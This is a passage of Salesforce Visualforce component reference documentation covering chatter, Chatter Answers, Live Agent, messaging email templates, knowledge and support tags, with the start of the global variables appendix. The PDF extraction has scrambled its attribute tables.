sites. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
onComplete
String
24.0
rendered
Boolean
14.0
reRender
Object
24.0
555
global
global
chatter:userPhotoUpload
chatter:userPhotoUpload
Uploads a users photo to their Chatter profile page. To use this component, you must enable Chatter in the org. Users must belong to
either Standard User, Portal User, High Volume Portal User, or Chatter External User profiles.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
showOriginalPhoto Boolean
28.0
chatteranswers:aboutme
Chatter Answers profile box which contains the user photo, username, the Edit my settings link, and the Sign out link. The profile box is
accessible only to authenticated users. Use with other Chatter Answers components to create a customized experience for your Chatter
Answers users.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
communityId
String
id
String
14.0
noSignIn
Boolean
29.0
556
29.0
global
Boolean
chatteranswers:allfeeds
Description
Required? API
Access
Version
14.0
global
chatteranswers:allfeeds
Displays the Chatter Answers application, including the feed, filters, profiles, and the Sign Up and Sign In buttons. Ext JS versions less
than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
Description
articleLanguage String
communityId
id
Required? API
Access
Version
24.0
Yes
24.0
filterOptions String
24.0
forceSecureCustomWebAddress Boolean
24.0
14.0
24.0
id
String
jsApiVersion Double
noSignIn
Boolean
24.0
rendered
Boolean
14.0
24.0
useUrlRewriter Boolean
global
global
chatteranswers:changepassword
Displays the Chatter Answers change password page. Ext JS versions less than 3 should not be included on pages that use this component.
557
chatteranswers:datacategoryfilter
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
chatteranswers:datacategoryfilter
Chatter Answers data category filter, which let users filter feeds by data category. Use with other Chatter Answers components to create
a customized experience for your Chatter Answers users.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
communityId
string
id
String
14.0
global
rendered
Boolean
14.0
global
chatteranswers:feedfilter
The feed filter lets users sort and filter the feeds that appear in Chatter Answers.
558
29.0
chatteranswers:feeds
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
filterOptions String
29.0
id
String
14.0
global
rendered
Boolean
14.0
global
chatteranswers:feeds
Chatter Answers feed, which let users browse questions and articles and post replies to questions within a zone. Use with other Chatter
Answers components to create a customized experience for your Chatter Answers users.
Attributes
Attribute Name Attribute Type
Description
articleLanguage String
communityId
String
Required? API
Access
Version
559
29.0
Yes
29.0
String
jsApiVersion Double
chatteranswers:forgotpassword
Description
Required? API
Access
Version
14.0
29.0
noSignIn
Boolean
29.0
rendered
Boolean
14.0
29.0
useUrlRewriter Boolean
global
global
chatteranswers:forgotpassword
Displays the Chatter Answers forgot password page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
24.0
useUrlRewriter Boolean
chatteranswers:forgotpasswordconfirm
Displays the Chatter Answers password confirmation page. Ext JS versions less than 3 should not be included on pages that use this
component.
Attributes
Attribute Name Attribute Type
id
String
Description
Required? API
Access
Version
560
14.0
global
Boolean
useUrlRewriter Boolean
chatteranswers:guestsignin
Description
Required? API
Access
Version
14.0
24.0
global
chatteranswers:guestsignin
Chatter Answers Sign In and Sign Up buttons. These buttons are accessible only to guest users. Use with other Chatter Answers components
to create a customized experience for your Chatter Answers users.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
29.0
useUrlRewriter Boolean
chatteranswers:help
Displays the Chatter Answers help page (FAQ) to your customers.
561
chatteranswers:login
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
chatteranswers:login
Displays the Chatter Answers sign in page. Ext JS versions less than 3 should not be included on pages that use this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
24.0
useUrlRewriter Boolean
chatteranswers:registration
Displays the Chatter Answers registration page.
562
chatteranswers:searchask
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
hideTerms
Boolean
24.0
id
String
14.0
profileId
id
24.0
24.0
14.0
24.0
registrationClassName String
rendered
Boolean
useUrlRewriter Boolean
global
global
chatteranswers:searchask
Search bar and button that lets users search for questions and articles and ask questions within a zone. Use with other Chatter Answers
components to create a customized experience for your Chatter Answers users.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
communityId
string
id
String
563
29.0
14.0
global
chatteranswers:singleitemfeed
Description
Required? API
Access
Version
noSignIn
Boolean
29.0
rendered
Boolean
14.0
searchLanguage String
29.0
useUrlRewriter Boolean
29.0
global
chatteranswers:singleitemfeed
Displays the Chatter Answers feed for a single case and question. Ext JS versions less than 3 should not be included on pages that use
this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
entityId
id
24.0
id
String
14.0
global
rendered
Boolean
14.0
global
flow:interview
This component embeds a Flow interview in the page.
Example
<!-- Page: -->
<apex:page controller="exampleCon">
<!-- embed a simple flow -->
<flow:interview name="my_flow" interview="{!my_interview}"></flow:interview>
<!-- get a variable from the embedded flow using my_interview.my_variable -->
<apex:outputText value="here is my_variable : {!my_interview.my_variable}"/>
</apex:page>
/*** Controller ***/
564
ideas:detailOutputLink
Attributes
Attribute Name Attribute Type
Description
allowShowPause Boolean
33.0
buttonLocation String
21.0
21.0
buttonStyle
String
Required? API
Access
Version
21.0
String
14.0
interview
Flow.Interview
21.0
name
String
pausedInterviewId String
Yes
global
21.0
33.0
rendered
Boolean
14.0
rerender
Object
21.0
showHelp
Boolean
21.0
global
ideas:detailOutputLink
A link to the page displaying an idea. Note: To use this component, please contact your salesforce.com representative and request that
the Ideas extended standard controllers be enabled for your organization.
565
ideas:detailOutputLink
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
ideaId
String
page
ApexPages.PageReference The Visualforce page whose URL is used for the output link.
This page must use the standard controller.
pageNumber
Integer
The desired page number for the comments on the idea detail
page (50 per page). E.g. if there are 100 comments,
pageNumber="2" would show comments 51-100.
38.0
pageOffset
Integer
38.0
rendered
Boolean
14.0
style
String
38.0
566
14.0
Yes
38.0
Yes
38.0
global
global
String
ideas:listOutputLink
Description
Required? API
Access
Version
38.0
ideas:listOutputLink
A link to the page displaying a list of ideas. Note: To use this component, please contact your salesforce.com representative and request
that the Ideas extended standard controllers be enabled for your organization.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
category
String
38.0
communityId
String
38.0
567
ideas:profileListOutputLink
Description
Required? API
Access
Version
id
String
page
ApexPages.PageReference The Visualforce page whose URL is used for the output link.
This page must use the set oriented standard controller.
pageNumber
Integer
The desired page number for the list of ideas (20 per page).
E.g. if there are 100 ideas, pageNumber="2" would show ideas
21-40.
38.0
pageOffset
Integer
38.0
rendered
Boolean
14.0
sort
String
The desired sort for the list of ideas. Possible values include
"popular", "recent", "top", and "comments."
38.0
status
String
38.0
38.0
stickyAttributes Boolean
14.0
Yes
global
38.0
style
String
38.0
styleClass
String
38.0
global
ideas:profileListOutputLink
A link to the page displaying a user's profile. Note: To use this component, please contact your salesforce.com representative and request
that the Ideas extended standard controllers be enabled for your organization.
568
ideas:profileListOutputLink
Replies</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="ideas" page="profilePage">Ideas
Submitted</ideas:profileListOutputLink>
|
<ideas:profileListOutputLink sort="votes" page="profilePage">Ideas
Voted</ideas:profileListOutputLink>
</apex:pageBlock>
<apex:pageBlock >
<apex:dataList value="{!ideaList}" var="ideadata">
<apex:outputText value="{!ideadata.title}"/>
</apex:dataList>
</apex:pageBlock>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
communityId
String
38.0
id
String
14.0
page
ApexPages.PageReference The Visualforce page whose URL is used for the output link.
This page must use the set oriented standard controller.
pageNumber
Integer
The desired page number for the list of ideas (20 per page).
E.g. if there are 100 ideas, pageNumber="2" would show ideas
21-40.
38.0
pageOffset
Integer
38.0
rendered
Boolean
14.0
sort
String
The desired sort for the list of ideas. Possible values include
"ideas", "votes", and "recentReplies."
38.0
38.0
stickyAttributes Boolean
569
Yes
global
38.0
global
knowledge:articleCaseToolbar
Description
Required? API
Access
Version
style
String
38.0
styleClass
String
38.0
userId
String
38.0
knowledge:articleCaseToolbar
UI component used when an article is opened from the case detail page. This component shows current case information and lets the
user attach the article to the case.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
articleId
String
Yes
38.0
caseId
String
Yes
38.0
id
String
14.0
includeCSS
Boolean
38.0
rendered
Boolean
14.0
570
global
global
knowledge:articleList
knowledge:articleList
A loop on a filtered list of articles. You can use this component up to four times on the same page. Note that you can only specify one
criterion for each data category and that only standard fields are accessible, such as:
ID (string): the ID of the article
Title (string): the title of the article
Summary (string): the summary of the article
urlName (string): the URL name of the article
articleTypeName (string): the developer name of the article type
articleTypeLabel (string): the label of the article type
lastModifiedDate (date): the date of the last modification
firstPublishedDate (date): the date of the first publication
lastPublishedDate (date): the date of the last publication
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
articleTypes String
38.0
articleVar
String
categories
String
38.0
hasMoreVar
String
38.0
571
Yes
38.0
id
isQueryGenerated Boolean
knowledge:articleRendererToolbar
Description
Required? API
Access
Version
14.0
38.0
keyword
String
38.0
language
String
38.0
pageNumber
Integer
38.0
pageSize
Integer
38.0
rendered
Boolean
14.0
sortBy
String
38.0
global
global
knowledge:articleRendererToolbar
Displays a header toolbar for an article. This toolbar includes voting stars, a Chatter feed, a language picklist and a properties panel. Ext
JS versions less than 3 should not be included on pages that use this component.
572
knowledge:articleTypeList
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
articleId
String
38.0
canVote
Boolean
38.0
id
String
14.0
includeCSS
Boolean
38.0
rendered
Boolean
14.0
showChatter
Boolean
38.0
global
global
knowledge:articleTypeList
A loop on all available article types.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
articleTypeVar String
Yes
38.0
id
String
14.0
global
rendered
Boolean
14.0
global
573
knowledge:categoryList
knowledge:categoryList
A loop on a subset of the category hierarchy. The total number of categories displayed in a page cannot exceed 100.
Attributes
Attribute Name Attribute Type
Required? API
Access
Version
38.0
categoryGroup String
38.0
categoryVar
String
The name of the variable that can be used to represent the Yes
article type object in the body of the categoryList component.
38.0
id
String
14.0
level
Integer
38.0
rendered
Boolean
14.0
38.0
ancestorsOf
String
Description
rootCategory String
global
global
liveAgent:clientChat
The main parent element for any Live Agent chat window. You must create this element in order to do any additional customization of
Live Agent.
574
liveAgent:clientChatAlertMessage
Live Agent must be enabled for your organization. Note that this component can only be used once in a Live Agent deployment.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
liveAgent:clientChatAlertMessage
The area in a Live Agent chat window that displays system alert messages (such as "You have been disconnected").
Must be used within <liveAgent:clientChat>. Each chat window can have only one alert message area.
Attributes
Attribute Name Attribute Type
Description
agentsUnavailableLabel String
27.0
chatBlockedLabel String
27.0
connectionErrorLabel String
27.0
dismissLabel String
27.0
String
14.0
internalFailureLabel String
27.0
noCookiesLabel String
27.0
id
Required? API
Access
Version
575
global
liveAgent:clientChatCancelButton
Description
Required? API
Access
Version
27.0
noHashLabel
String
27.0
rendered
Boolean
14.0
global
liveAgent:clientChatCancelButton
The button within a Live Agent chat window a visitor clicks to cancel a chat session.
Must be used within <liveAgent:clientChat>.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
label
String
The label that appears on the button. The default English label
is "Cancel Chat".
34.0
rendered
Boolean
14.0
liveAgent:clientChatEndButton
The button within a Live Agent chat window a visitor clicks to end a chat session.
Must be used within <liveAgent:clientChat>.
576
global
global
liveAgent:clientChatFileTransfer
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
label
String
24.0
rendered
Boolean
14.0
global
global
liveAgent:clientChatFileTransfer
The file upload area in a Live Agent chat window where a visitor can send a file to an agent.
Must be used within <liveAgent:clientChat>. Each chat window can have only one file upload.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
fileTransferCanceledLabel String
30.0
fileTransferCancelFileLabel String
30.0
fileTransferDropFileLabel String
A string specifying the label that indicates where the file can
be dropped; the default English label is "Drop here.".
30.0
fileTransferFailedLabel String
30.0
fileTransferSendFileLabel String
30.0
fileTransferSuccessfulLabel String
30.0
fileTransferUploadLabel String
30.0
577
liveAgent:clientChatInput
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
liveAgent:clientChatInput
The text box in a Live Agent chat window where a visitor types messages to an agent.
Must be used within <liveAgent:clientChat>. Each chat window can have only one input box.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
autoResizeElementId String
24.0
id
String
14.0
global
rendered
Boolean
14.0
global
24.0
useMultiline Boolean
liveAgent:clientChatLog
The area in a Live Agent chat window that displays the chat transcript to a visitor.
Must be used within <liveAgent:clientChat>. Each chat window can have only one chat log.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
agentTypingLabel String
578
24.0
liveAgent:clientChatLogAlertMessage
Description
Required? API
Access
Version
chatEndedByAgentLabel String
A string specifying the label that appears when the agent has
ended the chat; the default English label is "The chat has been
ended by the agent."
24.0
chatEndedByVisitorIdleTimeoutLabel String
24.0
chatEndedByVisitorLabel String
A string specifying the label that appears when the visitor has
ended the chat; the default English label is "You've ended the
chat."
24.0
chatTransferredLabel String
A string specifying the label that appears when the chat has
been transferred to a new agent; the default English label is
"{OperatorName} is your new agent for the chat session."
({OperatorName} defaults to '[First Name] [Last Initial]' of the
Salesforce user or the Custom Agent Name as set in the Live
Agent Configuration.)
24.0
combineMessagesText Boolean
24.0
id
String
14.0
global
rendered
Boolean
14.0
global
showTimeStamp Boolean
24.0
visitorNameLabel String
24.0
liveAgent:clientChatLogAlertMessage
The area in a Live Agent chat window that displays the idle time-out alert (customer warning) to a visitor.
Must be used within <liveAgent:clientChat>. Each chat window can have only one idle time-out alert.
579
liveAgent:clientChatMessages
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
autoResizeElementId String
35.0
id
String
14.0
global
rendered
Boolean
14.0
global
respondToChatLabel String
35.0
respondWithinTimeLabel String
35.0
liveAgent:clientChatMessages
The area in a Live Agent chat window that displays system status messages (such as "Chat session has been disconnected").
Must be used within <liveAgent:clientChat>. Each chat window can have only one message area.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
liveAgent:clientChatQueuePosition
A text label indicating a visitor's position within a queue for a chat session initiated via a button that uses push routing. (On buttons that
use pull routing, this component has no effect.)
580
liveAgent:clientChatSaveButton
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
label
String
24.0
rendered
Boolean
14.0
global
global
liveAgent:clientChatSaveButton
The button in a Live Agent chat window a visitor clicks to save the chat transcript as a local file.
Must be used within <liveAgent:clientChat>. Each chat window can have multiple save buttons.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
label
String
24.0
rendered
Boolean
14.0
liveAgent:clientChatSendButton
The button in a Live Agent chat window a visitor clicks to send a chat message to an agent.
Must be used within <liveAgent:clientChat>. Each chat window can have multiple send buttons.
581
global
global
liveAgent:clientChatStatusMessage
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
label
String
24.0
rendered
Boolean
14.0
global
global
liveAgent:clientChatStatusMessage
The area in a Live Agent chat window that displays system status messages (such as "You are being reconnected").
Must be used within <liveAgent:clientChat>. Each chat window can have only one status message area.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
String
14.0
reconnectingLabel String
27.0
14.0
id
rendered
Boolean
messaging:attachment
Compose an attachment and append it to the email.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
582
global
global
messaging:attachment
replyTo="[email protected]">
<messaging:htmlEmailBody>
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Attached is a list of cases related to {!relatedTo.name}.</p>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
<messaging:attachment renderAs="PDF" filename="yourCases.pdf">
<html>
<body>
<p>You can display your {!relatedTo.name} cases as a PDF</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
</body>
</html>
</messaging:attachment>
</messaging:emailTemplate>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
filename
String
14.0
id
String
14.0
583
global
messaging:emailHeader
Description
Required? API
Access
Version
inline
Boolean
17.0
renderAs
String
14.0
rendered
Boolean
14.0
messaging:emailHeader
Adds a custom header to the email. The body of a header is limited to 1000 characters.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Testing a custom header"
replyTo="[email protected]">
<messaging:emailHeader name="customHeader">
BEGIN CUSTOM HEADER
Account Id: {!relatedTo.Id}
END CUSTOM HEADER
</messaging:emailHeader>
<messaging:htmlEmailBody >
<html>
<body>
<p>Dear {!recipient.name},</p>
<p>Check out the header of this email!</p>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
584
global
messaging:emailTemplate
boundary="----=_Part_8_14667134.1233862559806"
X-SFDC-X-customHeader: BEGIN CUSTOM HEADER Account Id: 001x000xxx3BIdoAAG END CUSTOM HEADER
X-SFDC-LK: 00Dx000000099jh
X-SFDC-User: 005x0000000upVu
X-Sender: [email protected]
X-mail_abuse_inquiries: http://www.salesforce.com/company/abuse.jsp
X-SFDC-Binding: 1WrIRBV94myi25uB
X-OriginalArrivalTime: 05 Feb 2009 19:35:59.0747 (UTC) FILETIME=[F8FF7530:01C987C8]
X-MS-Exchange-Organization-SCL: 0
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
name
String
rendered
Boolean
14.0
Yes
global
14.0
14.0
global
messaging:emailTemplate
Defines a Visualforce email template. All email template tags must be wrapped inside a single emailTemplate component tag.
emailTemplate must contain either an htmlEmailBody tag or a plainTextEmailBody tag. The detail and form components are not permitted
as child nodes. This component can only be used within a Visualforce email template. Email templates can be created and managed
through Setup | Communication Templates | Email Templates.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Your account's cases"
replyTo="[email protected]" >
<messaging:htmlEmailBody >
<html>
<body>
<p>Hello {!recipient.name}--</p>
<p>Here is a list of the cases we currently have for account {!relatedTo.name}:</p>
<apex:datatable cellpadding="5" var="cx" value="{!relatedTo.Cases}">
<apex:column value="{!cx.CaseNumber}" headerValue="Case Number"/>
<apex:column value="{!cx.Subject}" headerValue="Subject"/>
<apex:column value="{!cx.Contact.email}" headerValue="Creator's Email" />
585
messaging:emailTemplate
586
messaging:htmlEmailBody
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
language
String
18.0
recipientType String
14.0
relatedToType String
14.0
rendered
Boolean
14.0
replyTo
String
14.0
subject
String
messaging:htmlEmailBody
The HTML version of the email body.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="[email protected]">
<messaging:htmlEmailBody>
<html>
<style type="text/css">
body {font-family: Courier; size: 12pt;}
table {
border-width: 5px;
border-spacing: 5px;
border-style: dashed;
border-color: #FF0000;
background-color: #FFFFFF;
}
td {
587
Yes
14.0
global
global
messaging:htmlEmailBody
border-width: 1px;
padding: 4px;
border-style: solid;
border-color: #000000;
background-color: #FFEECC;
}
th {
color: #000000;
border-width: 1px ;
padding: 4px ;
border-style: solid ;
border-color: #000000;
background-color: #FFFFF0;
}
</style>
<body>
<p>Dear {!recipient.name},</p>
<p>Below is a list of cases related to {!relatedTo.name}.</p>
<table border="0" >
<tr>
<th>Case Number</th><th>Origin</th>
<th>Creator Email</th><th>Status</th>
</tr>
<apex:repeat var="cx" value="{!relatedTo.Cases}">
<tr>
<td><a href =
"https://na1.salesforce.com/{!cx.id}">{!cx.CaseNumber}
</a></td>
<td>{!cx.Origin}</td>
<td>{!cx.Contact.email}</td>
<td>{!cx.Status}</td>
</tr>
</apex:repeat>
</table>
<p/>
<center>
<apex:outputLink value="http://www.salesforce.com">
For more detailed information login to Salesforce.com
</apex:outputLink>
</center>
</body>
</html>
</messaging:htmlEmailBody>
</messaging:emailTemplate>
588
messaging:plainTextEmailBody
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
messaging:plainTextEmailBody
The plain text (non-HTML) version of the email body.
Example
<messaging:emailTemplate recipientType="Contact"
relatedToType="Account"
subject="Case report for Account: {!relatedTo.name}"
replyTo="[email protected]">
<messaging:plainTextEmailBody>
Dear {!recipient.name},
Below is a list of cases related to {!relatedTo.name}.
<apex:repeat var="cx" value="{!relatedTo.Cases}">
Case Number: {!cx.CaseNumber}
Origin: {!cx.Origin}
Contact-email: {!cx.Contact.email}
Status: {!cx.Status}
</apex:repeat>
For more detailed information login to Salesforce.com
</messaging:plainTextEmailBody>
</messaging:emailTemplate>
Attributes
Attribute Name Attribute Type
id
String
Description
Required? API
Access
Version
589
14.0
global
Boolean
site:googleAnalyticsTracking
Description
Required? API
Access
Version
14.0
global
site:googleAnalyticsTracking
The standard component used to integrate Google Analytics with Force.com sites to track and analyze site usage. Add this component
just once, either on the site template for the pages you want to track, or the individual pages themselves. Don't set the component for
both the template and the page. Attention: This component only works on pages used in a Force.com site. Sites must be enabled for
your organization and the Analytics Tracking Code field must be populated. To get a tracking code, go to the Google Analytics website.
Example
<!-- Google Analytics recommends adding the component at the bottom of the page to avoid
increasing page load time. -->
<site:googleAnalyticsTracking/>
590
site:previewAsAdmin
catch(err) {
}
</script>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
site:previewAsAdmin
This component shows detailed error messages on a site in administrator preview mode. We recommend that you add it right before
the closing apex:page tag. Note: The site:previewAsAdmin component contains the apex:messages tag, so if you have that tag elsewhere
on your error pages, you will see the error message twice.
Example
<!-- We recommend adding this component right before your closing apex:page tag. -->
<site:previewAsAdmin/>
591
social:profileViewer
</span>
</span>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
id
String
14.0
global
rendered
Boolean
14.0
global
social:profileViewer
UI component that adds the Social Accounts and Contacts viewer to Account (including person account), Contact, or Lead detail pages.
The viewer displays the record name, a profile picture, and the social network icons that allow users to sign in to their accounts and view
social data directly in Salesforce.
Social Accounts and Contacts must be enabled for your organization. Note that this component is only supported for Account, Contact,
and Lead objects and can only be used once on a page. This component isn't available for Visualforce pages on Force.com sites.
This example displays the Social Accounts and Contacts viewer for a
contact.
<apex:page standardController="Contact">
<social:profileViewer entityId="{!contact.id}"/>
</apex:page>
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
entityId
id
Entity ID of the record for which to display the Social Accounts Yes
and Contacts viewer; for example, Contact.Id.
24.0
id
String
14.0
592
global
Boolean
support:caseArticles
Description
Required? API
Access
Version
14.0
global
support:caseArticles
Displays the case articles tool. The tool can show articles currently attached to the Case and/or an article Keyword search. This component
can only be used in organizations that have Case Feed and Knowledge enabled. Ext JS versions less than 3 should not be included on
pages that use this component.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
articleTypes String
25.0
attachToEmailEnabled Boolean
25.0
25.0
bodyHeight
String
caseId
id
categories
String
593
Yes
25.0
25.0
support:caseArticles
Description
Required? API
Access
Version
25.0
defaultKeywords String
25.0
defaultSearchType String
25.0
String
14.0
25.0
id
insertLinkToEmail Boolean
language
String
25.0
logSearch
Boolean
25.0
mode
String
25.0
onSearchComplete String
25.0
rendered
Boolean
14.0
reRender
Object
25.0
searchButtonName String
25.0
searchFieldWidth String
25.0
searchFunctionName String
25.0
594
global
global
support:caseFeed
Description
showAdvancedSearch Boolean
25.0
25.0
titlebarStyle String
25.0
String
25.0
title
width
String
Required? API
Access
Version
support:caseFeed
The Case Feed component includes all of the elements of the standard Case Feed page, including the publishers (Email , Portal, Log a
Call, and Internal Note), case activity feed, feed filters, and highlights panel. This component can only be used in organizations that have
Case Feed enabled.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
caseId
id
id
String
14.0
global
rendered
Boolean
14.0
global
support:caseUnifiedFiles
Displays the Files component.
595
26.0
support:clickToDial
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
Yes
entityId
String
31.0
id
String
14.0
global
rendered
Boolean
14.0
global
support:clickToDial
A component that renders a valid phone number as click-to-dial enabled for Open CTI or Salesforce CRM Call Center. This field respects
any existing click-to-dial commands for computer-telephony integrations (CTI) with Salesforce.
Note:
This component doesn't work with embedded Visualforce pages within standard page layouts.
If you create a Visualforce page with a custom console component, you must set the showHeader attribute to true. If this attribute
is set to false, click-to-dial is disabled.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
entityId
String
28.0
id
String
14.0
number
String
596
Yes
28.0
global
support:portalPublisher
Description
Required? API
Access
Version
params
String
28.0
rendered
Boolean
14.0
global
support:portalPublisher
The Portal publisher lets support agents who use Case Feed compose and post portal messages. This component can only be used in
organizations that have Case Feed enabled.
Attributes
Attribute Name Attribute Type
Required? API
Access
Version
25.0
answerBodyHeight String
25.0
autoCollapseBody Boolean
25.0
answerBody
String
Description
entityId
id
Entity ID of the record for which to display the portal publisher. Yes
In the current version, only Case record ids are supported.
25.0
id
String
14.0
597
global
topics:widget
Description
Required? API
Access
Version
onSubmitFailure String
25.0
onSubmitSuccess String
25.0
rendered
Boolean
14.0
reRender
Object
25.0
showSendEmailOption Boolean
25.0
showSubmitButton Boolean
25.0
submitButtonName String
25.0
submitFunctionName String
25.0
title
String
25.0
width
String
25.0
global
topics:widget
UI component that displays topics assigned to a record and allows users to add and remove topics. The UI component is available only
if topics are enabled for these supported objects: accounts, assets, campaigns, cases, contacts, contracts, leads, opportunities, and custom
objects.
598
wave:dashboard
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
customUrl
string
entity
string
hideSuccessMessage Boolean
29.0
Yes
29.0
29.0
id
String
14.0
global
rendered
Boolean
14.0
global
renderStyle
string
29.0
wave:dashboard
Use this component to add a Salesforce Analytics Cloud dashboard to a Visualforce page.
Attributes
Attribute Name Attribute Type
Description
Required? API
Access
Version
body
Component[]
34.0
global
dashboardId
String
34.0
global
developerName String
34.0
global
599
String
wave:dashboard
Description
Required? API
Access
Version
34.0
global
{ 'datasetSystemName1':
{'field1': ['!value1']},
'datasetSystemName2':
{'field1': ['!value1', '!value2'],
'field2': ['!value3']} }
The dataset System Name is in the left panel of the edit page
for the dataset. (If your org has namespaces, include the
namespace prefix and two underscores before the dataset
system name.) The field is a dimension in the dataset. To find
the name, click the Explore icon to open the widget, select
Show SAQL from the Options menu, and look for dimension
names in the group by statements. The value is a field in
the Salesforce object. To find the name, go to Setup, locate
the object you want, and select Fields. Use the Field Name
(also known as the API name). For custom fields, use the name
with "__c" at the end.
Note: Only dimensions that have a list widget on the
dashboard can be included in the filter attribute JSON.
height
String
34.0
global
hideOnError
Boolean
34.0
global
openLinksInNewWindow Boolean
34.0
global
rendered
Boolean
34.0
global
showSharing
Boolean
34.0
global
showTitle
Boolean
34.0
global
width
String
34.0
global
600
wave:dashboard
Description
Required? API
Access
Version
601
APPENDICES
Global Variables
Use global variables to reference general information about the current user and your organization on a page.
Global variables must be referenced using Visualforce expression syntax to be evaluated, for example, {!$User.FirstName}.
IN THIS SECTION:
$Action
A global merge field type to use when referencing standard Salesforce actions such as displaying the Accounts tab home page,
creating new accounts, editing accounts, and deleting accounts.
$Api
A global merge field type to use when referencing API URLs.
$Cache.Session
A global merge field to access an orgs session cache from a Visualforce page. Retrieve cached values from a specified partitions
session cache in the referenced org.
$Component
A global merge field type to use when referencing a Visualforce component.
$ComponentLabel
A global merge field to use when referencing the label of an inputField component on a Visualforce page that is associated
with a message.
602
Global Variables
$CurrentPage
A global merge field type to use when referencing the current Visualforce page or page request.
$FieldSet
Provides access to a field set defined in your organization.
$Label
A global merge field type to use when referencing a custom label.
$Label.Site
A global merge field type to use when referencing a standard Sites label in a Visualforce page. Like all standard labels, the text will
display based on the users language and locale.
$Network
A global merge field type to use when referencing community details in a Visualforce email template.
$ObjectType
A global merge field type to use when referencing standard or custom objects (such as Accounts, Cases, or Opportunities) and the
values of their fields.
$Organization
A global merge field type to use when referencing information about your company profile. Use organization merge fields to reference
your organizations city, fax, ID, or other details.
$Page
A global merge field type to use when referencing a Visualforce page.
$Permission
A global merge field type to use when referencing information about the current users custom permission access. Use permission
merge fields to reference information about the users current access to any of your organizations custom permissions.
$Profile
A global merge field type to use when referencing information about the current users profile. Use profile merge fields to reference
information about the users profile such as license type or name.
$Resource
A global merge field type to use when referencing an existing static resource by name in a Visualforce page. You can also use resource
merge fields in URLFOR functions to reference a particular file in a static resource archive.
$SControl
A global merge field type to use when referencing an existing custom s-control by name. This merge field type results in a URL to
a page where the s-control executes.
$Setup
A global merge field type to use when referencing a custom setting of type hierarchy.
$Site
